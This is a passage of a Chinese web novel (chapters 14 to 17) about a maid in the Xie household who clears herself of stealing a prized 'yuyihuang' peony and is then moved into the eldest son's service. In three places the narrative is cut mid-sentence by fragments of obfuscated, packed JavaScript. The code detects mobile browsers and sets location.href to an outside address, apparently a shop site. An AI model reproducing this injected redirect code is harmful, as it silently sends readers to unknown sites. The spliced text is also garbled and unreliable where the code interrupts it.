刚刚大公子不发一言却忽地示意石青出手相救，看来亦是对染墨有印象。 毕竟大公子对不熟悉的人决不会如此。 14. 第 14 章 石青护着叶采苓往外走，心中也在想，莫不是大公子想换婢女了？ 若是大公子须得换婢女，他倒宁愿和染墨共事……也好过与现下当值的那位。 “几位便不必与我一道走了。” 叶采苓眼见着快走到之前那炒米花的摊子，低声对谢泓一行人道。 此时尚在府外，她想着谢泓此番出来是要逛的，便也并没指着对方能与她一道回去。况且还有月茜在摊子这里等她。 谢泓未曾说什么。 脑海里却想起刚刚少女张惶失措的面孔，以及她纤细手指护着那花鸟墨的模样。 他当初赏她溪明阁的墨，便是想让她用这墨写些字，画些简单的画亦可。家里女眷常用的都是溪明阁花鸟墨，她爱墨，想必更能领会此墨好处。 墨本就是用来用的，却未曾想她一直留着。 是不舍得用这种墨么？于是他便再给她些，于是给温家贵女抄书的时候她方用上了。 但今日他见，恐怕除了抄书外，她依旧是未用其余之墨。 谢泓感觉自己此刻大抵有些不快。 罢了，大抵是觉得他好心给的墨有些浪费。但世间各人有各人的活法，她有什么想法，也与他无干。 主子没有发话，云白石青两人睨了一眼谢泓看不出喜怒的神色，亦默契地噤声。 叶采苓却是未能感觉到此刻的氛围奇异，只是屈膝温柔地福了一福。 “多谢今日相救，婢子便先行告退。” “大、大公子，我们也走罢？” 石青拿不准谢泓的意思，小心地问道。 片刻后见谢泓缓缓地吐出一口气，又是从容的语气。他对石青道：“我见前头似有卖汤团的……去买一份罢。” 石青一愣，莫不是因为刚刚染墨姑娘手里拎的那份汤团掉了？他眼瞅着那汤团看着內馅不错的，看来也被大公子瞧见了。 大公子原来是喜欢吃汤团的人啊。 石青欢喜地领命前去，想着自己也应该买一份来吃。 那边叶采苓去寻月茜，却见对方已经比分别的时候往摊贩圈子里挤得更近了。此刻月茜手里已拿上了一袋白米花，却还依旧兴致极好地看着那炒米花的小摊贩。 “怎的还没炒完么？”叶采苓无奈失笑。 “你不知道，此刻他是在炒糖米花，说是比先前的更胜一筹呢。”月茜道。 叶采苓摇摇头，不得不提醒月茜：“但我见快到正午，怕是府里要寻我们了。你之前是否和我讲过，正午之前须得用香叶水浴佛？” “是哦，宝纱姐姐特意提过的，说出府逛可以，但府内忙的时候须得回来。” 月茜有些遗憾地望着那小摊，但心知自己在府内当值，不能一味在外头游逛，便接过紫苏桃子饮，与叶采苓相携着回府。 鼻端嗅到一阵浓郁的香气，她们进入北正院，只见得此刻正一副热火朝天的景象。 晨起礼佛的香火烟气犹在，但已经被花叶气息冲淡了许多。许多家仆正有条理地搬着一盆盆花草，堆叠在佛祖金身四周。 中央特意留出一块空地，上面摆了檀木的架子，看高度也像是摆花的。 宝纱此刻立在北正院一角，正托腮望着院里的景象。 院内正中指挥众人的婢女望着温温柔柔的，讲话却沉稳而有力，是叶采苓那日见过的茗儿。 “宝纱姐姐，怎的今日能休假了。换成茗儿姐姐了么？” 月茜示意宝纱取些白米花吃，宝纱一笑，道：“快收了罢，一会需得净手，我看你这米花儿左右只来得及吃两口，不如先放回厢房。 “一会儿香叶水抬上来，你们便有得忙了。只是此刻供奉的花儿还未摆好，茗儿管这些花儿的，便先由她去忙。” 月茜听宝纱这么说，十分珍视地看了白米花一眼，与叶采苓说了一声，先回去放吃食了。 叶采苓便站在宝纱旁边，望着院内有条不紊的搬花场景。 一盆一盆不断地向上堆着，却未能见尽头。 宝纱见她望得出神，笑道：“染墨你进府晚些，尚未曾见过浴佛节摆花儿的讲究。是不是想知晓何时才能摆完哪？” 叶采苓点头道：“我看着这花儿种类似有区分，是须得依次摆放么？” 宝纱道：“是了，这最外层摆茉莉，因其花朵儿小，气味又好闻。摆得靠外些，众人都能闻到。之后是素馨并木香，颜色与茉莉能错开些。中央那架子放的是牡丹，老夫人最喜欢的。” 叶采苓见有人开始往架子上堆叠牡丹，此时是先拿姚黄魏紫。 便问宝纱：“那此刻开始摆牡丹，是否快要摆好了？” 宝纱望一眼庭院中央，正要开口说什么，忽地脸色一变，快步走过去。 茗儿此刻站在花架子之前，发出一声短促惊叫。 宝纱脸色亦是不好看起来。 “所有人，”她过去拍拍茗儿，扬声道：“此刻所有人不许走开，我去禀总管事。” 叶采苓不明就里，却见到茗儿此刻望着一处，小脸煞白。 她便也顺着茗儿的目光看过去。 ——精致的金丝网篮仍在，罩着花盆。但花枝上那朵明亮繁丽的御衣黄，却是不见踪影。 光秃秃的枝头，衬得那华丽的花盆像个空空荡荡的笑话。 司花婢女，便是要方方面面看顾好花儿。况且此番架子上的都是名贵品种，更不要说御衣黄是老夫人特意赞许过的。 怎么会没有了。 是被人折了，还是偷了？ 她心下替茗儿紧张起来。 茗儿先前稳重的模样已经不复踪影，整个人立在那里微微抖着。 “大公子特意带回来的……云州独一份……” 她喃喃着。为何偏要在浴佛之前出事呢，但凡等浴佛之后，花儿已经清供过，也不会这么难以收场。 宝纱风风火火，此刻已经带着总管事返回来了。她安抚地拍拍茗儿的胳臂，对总管事道：“——便是如此情景。管事您看着，我们现下该如何做？” 管事望着那光秃秃的花枝脸色也并不好看。 “我知有名花，只是这花大夫人爱重的紧，府内大多人都未见过。见都未被见过，怎的会被人攀折？” 茗儿在一旁已经极慌神，此刻只顾着摇头。 “此花叫何名来着？”总管事道：“我先去查问，今日靠近花房的，还有此刻在这院子里的人都不许走动，等我遣人。” 宝纱道：“此花名叫御衣黄。只是再过半时辰便是浴佛的时点，敢问时间可够？” 总管事道：“先查。若能寻到花朵儿亦可，用金沙便能供奉。” 宝纱心下领会，道：“宝花金沙之法，婢女明白。” 她低声对茗儿道：“你想想，近日有过何人靠近过花房么？又有何人可能攀折花卉？” 茗儿本来极慌乱，此刻也逐渐寻回了些心神。 她低声道：“煮香叶水须得用些时新的花，因此，煮水的人要去花房折花，还有一个，刚刚抬花的小厮们也须得进花房。” “那便从现在院里抬花小厮这里开始问。”宝纱讲话也是爽快的，道：“偷花贼大抵会撒谎，但左右先捋一遍。单问下他们今日行至何处便是，心里也能有些数。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464253|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 总管事肯定道：“我给你拨几个人，你先在此处问。我去寻那花朵儿，若能寻到，此事大抵能先遮过去。” “对了，这御衣黄，听名字知道是黄色的了，花型又是什么样子的？” 茗儿低声描述了一番，总管事便风风火火地去了。 叶采苓凝神细听着他们的对话，却总觉得心里有什么被忽略过似的。 她正在仔细想着，却听到宝纱唤她。 “染墨，你是个可靠的，陪着你茗儿姐姐，若有何事唤我。”宝纱道。 叶采苓当即点头，过去扶着茗儿。 茗儿未曾见过她，便与她也不是很熟，此刻道：“无妨，我便在此等等消息。” “你若无事，去拿些水过来，给院里人分发些罢。他们此刻在这里等着也疲惫。”茗儿道。 叶采苓温声道：“茗儿姐姐说的是。” 她去隔壁院子烧了壶水，但没有足够的杯与碗，又走得远了些去寻。 一边走一边想着茗儿做事还是周全的，怪不得虽然是司花婢女，大夫人却日渐倚重她。 寻得了十来个杯碗，她都装进篾篮里，挎着往北正院走着。 却见宝纱冷着脸出来，见她之后脸上神色依旧不甚好。 “宝纱姐姐，寻得花儿了么？”叶采苓打了声招呼道：“茗儿姐姐让我出来取些水呢。” 宝纱望着眼前少女天真神色，心里又嘀咕起来。 犹豫了片刻她却没有露任何口风，而是公事公办地道：“先把水放下罢，总管事寻你。你跟我来。” “为何要寻我？” 叶采苓尚不解，走了两步却电光火石之间一样想明白。 刚刚大管事去查那花儿，此刻却唤她。 莫不是已经被卷进折花之人的范畴了？ 宝纱不答，只道：“月茜也被唤了，你们两个，哎。” 叶采苓更确定自己的想法没错，道：“无事，若真是我想得那样，我与总管讲清楚便是。” “真的假不了，假的亦真不了。” 进北正院，却见月茜已经站在那里，正在叉腰与总管讲话。 “我？折花？”月茜拿手指点自己鼻尖，一副不可思议的模样：“总管大哥，我便是书库一个寻常婢女，此番也只是帮宝纱姐姐些忙。我折花图何？” 总管事眉间两道深深折痕，却并未正面回月茜的话，只道：“你们煮香叶水的三人，所在位置都离花房极近。况且煮水之时未有旁的人。” 月茜摇头道：“单是距离近就罢了？那我却说你此刻离这几盆子花近，你也是折花来了？” 总管道：“你是叫月茜是么？” 他带着嫌弃神色打量了她一眼，道：“先去一旁候着罢，我不与你争执。孰是孰非总会有定论。” “总管。”宝纱寻了个话语间的空子，打断道：“另一位也到了，还有一名婢女名叫芙儿的，我亦遣人去卧房寻了。” 叶采苓在一旁温声道：“婢子染墨，敢问总管要问何事？” 总管晾下月茜，转头对叶采苓道：“你刚刚也听到了。我先不与你们两个争执，只一件事，一会子浴佛节便要开始了，此刻你先告诉我折下来的那朵花放在何处。” 他又加重语气道：“我不管你们是卖去府外，还是与茗儿作对，都无妨。此时你们若是说了，之后我会替你们把事情揭过。” “但若是不说，之后我便交给老夫人定夺，你们需得想清楚了。” 叶采苓越听越觉得不甚对劲。 仿佛总管已经认定了是她们折的花，此刻只是给她们一个台阶罢了。 15. 第 15 章 “不若我们去灶房沿路看看。” 最后是宝纱出来打的圆场。这两个婢女都说不是自己摘的，另一个芙儿则是还未寻到人。 还有半个时辰，此刻他们若是来得及找到花朵，却还来得及。 总管的意思是，虽然整盆花已经被折，但可以用金沙之法，把花朵制成清供宝花。 因得用于浴佛的花朵里，除了新鲜之花，另有一种叶覆金沙的花朵，用此法子处理过的花朵便名为“宝花”。 池中宝花，叶覆金沙。 亦是很漂亮的，不输于时新的花朵。 但这一切都须得建立在，他们此刻能找到这朵御衣黄的假设之上。若是未能找到，浴佛之时老夫人又问起来，便无论如何都瞒不过了。 “……便去试试。若是没有，也只能如此了。”管事道。 一行四五人匆匆向放香叶水的灶房走去，月茜缀在队伍最后，此刻同叶采苓小声嘟囔着，道：“怎的把我们牵扯进来，明明今日什么事都没做。” 叶采苓道：“便且看他们查得怎样。既不是我们做的，心且放平。” * “——你们作何解释？” 灶房之内。 那几口黄铜瓮已经被抬走，地面上只剩下几圈煮过香叶水之后，锅沿滴落的水渍。大量品相好的鲜花与叶子已经被拣去放到瓮里了，此刻残枝败叶摞成小山的模样。 几个木凳随意地堆在一旁。 眼前一朵繁丽的明黄花朵正掉落在那枯枝堆里。花朵开至极盛，边缘泛着些许橙。 “你们，先送花过去给北正院，让他们快去准备金沙。” 管事绷着脸，暂且不忘正事，先使唤人送了这花去了，转头对叶采苓并月茜冷声道：“等着罢，若是老夫人因此事不虞，你们铁定要出府的。” 月茜此刻懵着，叶采苓眼角却瞥到灶房地面那第三个木凳——明明是三人共同守着铜瓮，第三人芙儿，此时怎的未能出现？ “管事，芙儿姐姐尚未前来，此事我想着并不能直接定论。”叶采苓把声音放得软了些，道：“我并没有推给芙儿姐姐之意，但我与月茜一直在一道，并无理由折此花。” “或许芙儿姐姐那里会有些消息呢？” “已经遣人去寻芙儿了。”管事皱眉道：“但她并无理由。我知晓她，芙儿亦是司花婢女，不会刻意折这花坏自己名声。” “反倒是你们，之前都未怎么见过，怎的今日这么殷勤地过来？” “管事，话却不能如此说，我们是来帮宝纱姐姐的，怎的在府里做事，反而要被人指点呢？”月茜看着一副小女孩样子，此刻讲话不客气起来，也有几分攻击性。 正在争执，门口传来响动声。 芙儿着一身有些松散的蓝染褶裙，发髻有些散乱，脸色恹恹。 “来了。芙儿见过总管事，见过宝纱。” 却并未与叶采苓和月茜打招呼。 总管事似与芙儿相熟，此刻语气好了不止一点，对她道：“芙儿姑娘，大夫人那边可还好？今日事情烦乱，却不得不叫你过来。实在是这花儿被折，我们须得找人出来，不能平白被折。” 芙儿道：“今日身子一直不爽快，早上来这灶房呆了呆，却是没一会子便回去了。” “路上小厮与我说，是御衣黄被折了，我想着此花事关重大，便过来。” “我今日之行便是如此，管事若有何疑点，大可问芙儿便是。” 总管事转向叶采苓与月茜，道：“我见你们两个的确是心虚，便怎的，问都不让问么。”言语间对芙儿却是有几分护着的意思，话头直指她们两个。 月茜道：“你问的我们便是都答过，只是左右也不能按头是我们两个做的。管事，那你便说我们折这花有何用？” “焉知你们没有商量好出府卖这花儿？”管事道。 月茜道：“若是我们要卖此花，刚刚出府逛摊子的时候早就拿出来卖了，何须明晃晃地放在此处？” 管事一时语塞，身边的小厮却忽地道：“管事，我觉得这两人似是有问题。” 一时间见周围人俱望他，小厮讲话有些磕巴，道：“就是，我那日见过芙儿姐姐在院中哭。我想着府内婢女里也有心思重的，说不定就是你们有些争吵，便要害她。” “这位小哥，”叶采苓眼睛望着他，心里无奈，面上从容道：“我且问你，你讲话无甚证据，只是见芙儿哭泣，便觉得有人要与她不利是么？” 小厮年纪也不大，此刻梗起脖子道：“那又如何？芙儿姐姐对我们一贯是好的，哪里像你们两个牙尖嘴利，此刻又在一齐抵赖。” 叶采苓心道与此人讲不通道理。 转头对管事温声道：“染墨觉得，做事须得有凭据。我们两个既无摘花卖钱之意，也与茗儿芙儿无甚冲突。管事，此时不若仔细去花房仔细寻找脚印之类的证据，比在这里空口商议来得快。” 管事却懒得再应付，想到自己没有时间再在此纠缠，道：“宝纱，你再问问这两个，我须得先去北正院。香叶水沐浴金身之时快到了，我须得过去看着。” 宝纱不太赞同，道：“此事我觉得须得仔细查清。眼下尚且没得头绪，况且我觉得染墨那句话说得有几分道理。” “哦？”管事道。 宝纱：“应先关闭花房大门，遣人仔细去查看一番情况。这三位婢女这边，我再仔细问问。至少须得知道折花之人是何目的，总不能一头雾水却下定论。” 芙儿此刻立在一旁，忽地出声，声音轻软。 却让叶采苓越听越觉得不甚对劲。 芙儿道：“我今日在灶房呆的时日不多，倒是听到这位染墨妹妹，与月茜妹妹商议制墨之事。” “染墨妹妹说是对这墨锭颇有心得的，知晓各种植物入墨的方法。宝纱姐姐，你知道此事么？” 宝纱一愣：“染墨她名字里有墨——倒确实是懂墨的。” 芙儿意味深长道：“是啊，御衣黄这般奇花，黄橙两色皆存于一瓣之上。焉知染墨妹妹未动心思？” 她见众人呆愣在那里，又慢慢道：“况且染墨妹妹可是拿过大公子赏的花鸟墨的。她说过也想仿花鸟墨，这御衣黄便不正是现成的材料。” 叶采苓心里愣住。 芙儿那话有些长，她来回在心里滚过几回，方才明白是何意。 却越觉得对方来意歹毒。 芙儿此刻讲话，几分真里掺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464254|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了那一点假，却让她所有的话语都看似是真的。 尤其是她给出的自己擅长制墨、大公子赏她花鸟墨等这些消息，都是对的。 她此时指责叶采苓故意用折那御衣黄制墨，看似离奇，却因得之前那些细节，变得有几分真实起来。 管家一拍脑袋，道：“宝纱，此人会制墨，想拿花制墨，此事可真？” 宝纱正迟疑着，此刻道：“虽然有此事……” 管事却又截住她话头：“好了，那便可以了。” 管事风风火火地欲走。 怎么办？叶采苓此刻心里冷汗涔涔，头脑飞快转着。 芙儿她此刻平白无故出来指认自己，想必是刚刚宝纱出来替自己说话的缘故。宝纱说折花要有理由，芙儿却立即道出自己喜爱制墨的事实。 虽然这话柄是自己之前递给她的，但芙儿为何要专门把此锅扣到她的头上？ “好了，你们也无需得狡辩。” 管事举步欲走，却见那叫染墨的婢女又抬手拦他。 叶采苓感觉自己的脑海里有什么念头逐渐成型。 不会有无缘无故的指认，此刻芙儿指认她，只能说明—— 她快速地在脑海里又捋一遍今日早上灶火之前的对话。 芙儿那时古怪的语气。 还有什么细节未能想起？ “管家，您且等片刻。” 叶采苓转身微福一礼，对着的却是芙儿。 “芙儿姐姐，我与你今日才相识。”她正色道：“姐姐与旁人的矛盾，染墨不想参与。但芙儿姐姐你自己做过的事，也不能往无干之人身上硬扣。” “我？你且说说。” 芙儿语气不甚好。 “行了，你们这些丫鬟惯会攀咬的，有何恩怨之后再商议。”总管事却是真急了，此番浴佛仪式真是要开始了。 若是开始之后又出个什么像今日的岔子，便是决计逃不过受罚。 他抬腿走，却忽地在门口停住脚步，露出呵呵讪笑。 总管事：“哈，云白小哥，怎的来此处了。” 云白：“大公子听闻自己带来的牡丹出了些差错，遣我来看看。” 云白不动声色地打量了一下院内，众人神色各异，此刻有人坦然望向他，亦有心虚低头的。 总管事心里则是叫苦不迭。 若论府内事务的交集，他与云白这种主子身边的长随是井水不犯河水，无甚干系，但论起来在主子面前的得脸程度，云白竹明一路随着大公子入京，再没眼色的人也知道不能招惹他们。 保不齐给大公子参上一两句呢？虽然大公子一向云淡风轻，但可并不是没有脾气的。 此刻云白这么一来，也就相当于大公子关注上此事了。 念及这一层，总管事本来打算迈出院门的腿却是丝滑地收回，身子一转，道：“大公子想得周全，是须得仔细查问查问。” “此花从洛阳回京城，一路历经奔波，怎的也需得在众人面前露个脸儿。谁成想会被人折了呢。” 总管事这一番话确实是圆滑，只顺着云白的意思往下说。 云白却未吃这套，道：“刚刚在说何事？此刻便继续说罢。” 16. 第 16 章 叶采苓福了一福，以示见过云白。 “芙儿姐姐。你与茗儿姐姐都是司花婢女，可还记得——那日莳花会的云丝贯顶放在何处了？” 芙儿皱眉冷道：“我并未参加莳花会。又怎能知道云丝贯顶的位置？” “是了。那染墨斗胆问一句，姐姐缘何不参加，是还有其他要紧事么？” “便少说两句罢。你问我这些，于查问折花之事有何干系？”芙儿道。 “你且回答她便是。”见火药味逐渐漫上来，云白道。 芙儿有些气，却见云白在场，使不出来。只嘴角一撇：“无事，不过是大夫人给我安排了其他的活计，司花之事全交给茗儿了。” “哦？大夫人怎会安排你在莳花会的时候去做其他事呢？” 叶采苓却是抽丝剥茧，慢条斯理地问着。 芙儿道：“与我无干，大夫人自有她的安排。我忙着替大夫人做事，已经很多日未去花房，你莫要胡乱攀咬我。” 叶采苓点头：“这便是了——但姐姐却知道御衣黄的颜色，不是么？” 她静静地复述芙儿刚刚的话：“姐姐方才还说过，御衣黄这般奇特的花朵，黄橙两色皆在一花之上。” “且今晨我们在炉火旁坐着的时候，我还未提那盆黄色牡丹的名字，你却凭细节指认出来是御衣黄。” 她温声复述出清晨之景。 “那时我道府里那牡丹明丽，边上还隐隐带橙红。你却说，只有茗儿才能侍弄御衣黄这种名花。” 她道：“连总管事方才都要问过宝纱，才知道御衣黄的样子。” “芙儿姐姐，只能说明你近些日子才去过花房的。” 芙儿脸色一点点变得晦暗起来，像蒙了层灰白的糯米纸。 “我近日去过花房又怎样，能证明何事么？” 叶采苓摇摇头：“芙儿姐姐，问我无用，这便是你要去证明的事情了。” “如此说来，此时灶房中三人，却是芙儿与茗儿有过节……”云白慢慢复述，尚在沉吟。 芙儿的情绪却是已经掩饰不住。 “你们便都是一个样。”她忽地冷哼道：“都是自恃自己机灵，巴不得我倒霉，好看我的笑话。” “茗儿不也是么？我说过的话她全记得，得了空便去夫人那里告状。” “若不是她从中捣鬼，夫人怎会不让我莳花呢？须得知道，我莳花之艺绝不比她逊色半分。” 她忽地挽起袖子，却见她手臂之上起着密密麻麻的红色疹块。 芙儿狠声道：“若不是那日茗儿刻意让我去种那劳什子西域花，我怎会成为今天这个样子，大夫人连近都不让我近身？” 宝纱此刻却听明白几分，只对着芙儿讲，有几分不忍：“你身体抱恙之事大夫人是知道的，大抵是各人体质原因，与那花不对付罢。” “你莫要怪茗儿。她确无害你之意。” “宝纱你还是天真。在这府里，人人都想着往上爬，谁不是踩着别人的肩膀？茗儿她一心想让我来不成，这下好了。” 芙儿咬唇冷笑道：“她的差使也没了。” 叶采苓心道此时这些人的纠葛却是轮不上她来言说，只是表现得和没有听见这场闹剧一样：“如此，管事可还能看出来是谁折花了么。我和月茜是否可以先行告退？”她只对着总管事道。 总管事心道这婢女是个伶俐的，遇事不慌张，便有几分刮目相看的意思在。但他被芙儿突如其来的控诉弄得亦有些茫然，况且还有大公子院里的得力长随在。花与大公子有莫大关系，于是他看着云白，只等着对方定夺。 云白笑道：“今日确实是开了眼界，若不是染墨聪慧，怕是要被绕进去了。” “你们且行，我此番须得和大公子回报。” 此时，浴佛的香叶水并清供花朵已经准备齐整。 谢府一行人皆进入北正院落座。 云白快步走到座位之后，却是低声对谢泓汇报完刚刚所见。 谢泓颔首，道：“那花儿原也是一位洛阳友人赠的，做个人情。只是平白被攀折，须得给个说法。” “云白，你做的不错，随后去领赏。” 云白摇摇头：“小的并无何贡献，倒是见那位书阁的叶姑娘，今日思路冷静，竟是一力主导，找出真凶。” 谢泓一愣，眼前却霎时浮现出那双明净的眼。 原来又是她啊。 若是她，倒确实有几分合理。 云白见主子唇角噙一丝笑，觉得自己大抵是看花眼了。明明是名贵花朵被折，怎么看起来，大公子却有几分欣慰的模样。 “大公子？若无吩咐，小的便退下了。” “去罢。”谢泓道，又补一句：“记得多领些赏。” 云白躬身退下。 仪式起。谢母见一个精致小叶紫檀托盘，上面放着以金沙覆盖着的牡丹，奇道：“今年清供的惯例怎的换了？” 她细看道，有几分惋惜：“这不是泓哥儿前些时日刚带回来的洛阳牡丹么，名字似乎叫御衣黄？怎的折去制成宝花了。” “此花颜色正是适合制宝花的，若是祖母喜欢，泓儿明年多带几盆回来便是。”谢泓有心圆过此事，此刻只轻描淡写道。 “过几日进京，京中若有时新品种，我也遣人给祖母带些回来。”他有意引老夫人更换话题，谢母果然不再关心此花，只望着谢泓道：“祖母听说旬日之后，你便要回京了？” 谢泓默默颔首。 谢母道：“听说你又遣了院里的几个丫鬟？怎么，此番都不合你心意么？” 谢泓道：“只是我不喜欢思虑太多的丫鬟。” 后半截他没说，但谢母亦能猜到。丫鬟们大抵又有想当主子的，试着往谢泓身上扑。 谢母便唤身边的长随道：“你去盯着大公子院里，定要让大公子选上几个称心丫鬟带出云州。府内最不缺的便是人，反而是到了京城，怕有不忠心的背了主，那时便不好了。” 谢泓却忽地想起什么，低声道。 “祖母，府内有一人，我觉得可用。” “哦？难得见泓哥儿讨要人呢。” 谢母来了兴趣。 * “染墨姐姐，还在忙么？” 逐渐入了夏，此时书阁内有几分闷闷的潮热。 书阁帘子打起，进来的却是个半熟不熟的丫鬟，看衣着样子不是府内的。 “姐姐，我是温姑娘院里的，我们家姑娘近日又有些书，需得来此处借阅。”对方倒是很快的自报家门。 叶采苓在将绿色细棉布裁成条，准备更新书阁内的索引布笺，此番放下手中活计道：“借书是可的，只是上次你家姑娘来的时候，似是已经与她讲过，数量会有些限制。” 叶采苓：“温姑娘此番借何书呢？” 对方道：“我们姑娘讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464255|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她只借得一部，《大周府志》，不过说是有十余本。” 叶采苓顿了一顿，道：“怕是不止十余本。这府志是依着年月排的，几十本是有的，端看姑娘要借哪一年的。” 对方婢女听得也有些惊讶，便道要回去禀报主子。 “姐姐便去。”叶采苓点头。 不多时却是见温道盈袅袅婷婷地前来，神色有几分居高临下，依旧是问她自己的婢女：“怎的没有借来？” “回主子的话，”婢女将刚刚情形描述过，温道盈拨弄了一下自己袖上的明珠，随意道：“上次不是已经知晓怎么做了么？” “恕婢子蠢钝。”温道盈的婢女已经习惯了，此刻立即低头：“还望主子明示。” 温道盈眸光流转，望向书阁挑高的梁栋，道：“誊抄一份啊，之前便是如此做的，此番想不到么。” 叶采苓心想这些贵女都是不把下人当回事看的，《大周府志》自本朝元年记录起，年年都有新的。此刻她开口便要誊抄，要誊抄多少呢。 她道：“温姑娘，此番我却是做不了主，若是姑娘想要誊抄，还需得婢子与大管事请示。” 温道盈道：“我过几日便要去京城，此书亦是要带给太子妃的。” 便不再与叶采苓讲话。 叶采苓心里无奈，想着温贵女怎么次次抬出太子妃说事。但她见事态僵持，思忖片刻，仍是打圆场道：“姑娘莫不是未曾见过《大周府志》全本？不若婢子去给您取来，您且稍歇息片刻。” 叶采苓取来其中一册，言辞恳切道：“您请看，只大周十五年，便有二十几册。” 温道盈依旧绷着脸。 叶采苓心里叹息，左不过又要让她抄书。 只是这温贵女太不好相与，讲话总是随心所欲的。她有些同情地望了一眼温道盈的婢女。 正在僵持，忽听得少年人活泼的脚步声。 从外面踢踏着一路轻快地行进来。 叶采苓以为是又有族学学生来借阅典籍，便起身道。 “须得稍等会子，我这里有些事情。” 来者此刻望着叶采苓笑道：“染墨姐姐，此时还需做何事啊？” 是石青，此刻眼睛晶亮地看她。 叶采苓道：“我这里大抵要准备开始誊抄，若是大公子要借阅典籍，石青你便先与我说。” “此时怕是时间很紧了。” 石青却笑嘻嘻道：“姐姐若不想誊抄，此时却是不必再抄——公子那边已经禀过老夫人，说缺个得力婢女在听漪小筑当值。” 石青又道：“听漪小筑便是比书阁清闲些，月钱也高。” “——端的看姐姐想不想去。” 温道盈正等着看面前的婢女服软，冷不防听到这话，眉头登时皱起。 “抄书是要抄的，怎的此刻想躲懒是么？” 她又不咸不淡地对着空气说话，听话头倒是像对着石青来的。 温道盈：“偌大个谢府怎的没规矩，你们主子也不说管教你们？”她未曾见过石青，此刻见面前的少年郎年岁尚小，还以为是哪家的家生子。 故讲话颐指气使起来。 石青却不会吃这个闷亏，当下眨了眨眼。 “我当是哪家的主子，怎的替我们大公子管教起人了。我回去问问大公子，看府内怎还有外人迟迟不走呢？” “大公子？” 温道盈却是一愣。 17. 第 17 章 温道盈本是京城出身，此番迢迢千里跑来云州，名义上是来探访谢母。 但要说心里对谢家探花郎没有点期许，是不可能的。 此时听得是大公子家的长随，却是心里也知道自己刚刚发言有几分颐指气使。 此刻忙缓了声音，补救道：“我并无他意，只是……” “想起来了，原来是温姑娘啊——愿不得那日有人那么说温姑娘。” 石青笑嘻嘻道，一副大大咧咧的模样。 温道盈听这话里意味深长，当下便问：“何事？怎的说我了？” 石青却老神在在的摇头：“姑娘多虑了，我们这些做下人的，怎能随意议论主子呢。” 见温道盈那边脸色更差，一副努力思虑的模样。 石青等了一晌，忽地转头对立在一旁的温道盈道：“温姑娘莫要放在心上。” “不碍事，说得只是老夫人那方端砚被人打碎了，大公子那里已经寻得新砚给老夫人。” 温道盈心道居然连小厮都知道她当时打碎砚台之事。 娟秀眉毛快蹙成结，却又一时间不知道如何做。 石青：“染墨姐姐，走么？” 他对叶采苓挤挤眼睛笑道。 这些人却是热闹温暖的。 叶采苓长舒一口气。 心中却忽地像是有块垒被消解开来。 就好像事情兜转着会回到起始，但起点已经变得比先前更好。 “走罢。”她笑道。 叶采苓挽着包袱再回谢泓院子。熟悉的厢房里，青棠仍在，此刻见叶采苓进来，眼里似有惊讶之色。 青棠话一贯不多，与她简要描述了此时院子里的情况。 闻笛与杏云原是关系极密切的，不止怎的两人生出嫌隙，却是闹到大公子那里。说是谁绣的荷包落在书房之类的，掰扯不清。 大公子是最不喜府内婢女因为这些事情争吵，又道两人正事做的也无甚可取之处。索性两个便都不再重用了。 “此番你接替的便是书库里杏云的活计。”青棠道：“便要记得，不可重蹈覆辙。” 叶采苓点头。 * 夏夜有流萤。 谢泓赶文书到很晚，此刻松松地披一件月白衫子，执灯缓步行出。 叶采苓在阁外守他，亦在托腮读书。 见谢泓出来，温声道：“公子，婢子已将阁外洒扫完毕，明日还需得什么文书，便和我说。” 谢泓沉吟片刻，点了几本水文书籍。 叶采苓一一应下，又复述一遍，却是极利落，没有疏漏。 谢泓望着她月下纤瘦身影，心里一动，缓了声音道：“你当值不过月余，却是已经比先前当值之人做得好上许多。” 叶采苓摇摇头：“左不过份内之事，公子过奖。” 谢泓眸光一闪，忽地想起一事。 便转身回去拿了一张单子，轻轻交予叶采苓手上。 “这几本典籍，我见你爱读，前些日子却让府上采买的时候多采买了几本。” “得空的时候，去总管事那里领便可。” 她低头见其中有几本，连摹本都难以寻得。便知大公子此番偏爱。 * 听漪小筑水色怡人，夏日芙蕖之香浮于楼阁之间。 小筑内坐着几个文士，正在商议着什么。 有婢女自水榭外过来，轻手轻脚地打开香炉的铜盖，更换沉水香。 “宣岑。”有人正色道：“回京真的须得提上日程，此番塞北又传消息，枢兰人已将边塞三城攻下，镇国将军已经引咎离职，京中又将大变。” 谢泓着一身青袍，闻言抬手又斟了茶。 他道：“我知迟早要返京。且近日边疆大旱，正是人心惶惶的时候。” 江游此刻正在翻着一本书，此刻眸光一闪，道：“既是大旱，钦天司有无提出异常天象？” “钦天司前些日子刚报，言道岁星昼现。” 